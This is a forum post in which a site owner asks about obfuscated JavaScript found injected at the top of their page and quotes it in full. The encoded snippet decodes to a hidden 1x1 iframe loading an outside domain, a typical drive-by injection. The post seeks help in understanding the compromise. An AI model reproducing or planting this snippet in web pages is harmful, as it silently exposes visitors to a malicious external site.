what is this about

sorry for the ambiguous title, but i didnt want to slander.. ive noticed sometimes i have a 1 pixel image-like placeholder loaded at the top of my page (please follow the link to see): click for image.

i checked out the source code for this, and i found its a rather rude injection of javascript at the beginning of the file, before the dtd or anything. the exact javascript code is
<script language=”javascript”>
exec(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,114,99,61,104,116,116,112,58,47,47,112,97,100,111,110,97,107,46,105,110,102,111,47,102,97,47,32,62,60,47,105,102,114,97,109,101,62,39,41,59));</script>

to find out what this meant, i made a html document to parse the javascript. click here for a demo (click the “click me!” button :p)

you can see the textbox gets the human-readable values of each of those numbers. also, you can see it makes an iframe to load another page, namely http://padonak.info/fa/

the real question of this post is, what is this all about? is this a counter/tracker and is it intentional?

if this is unique to me please ignore me, thankyou for reading my huge post -_-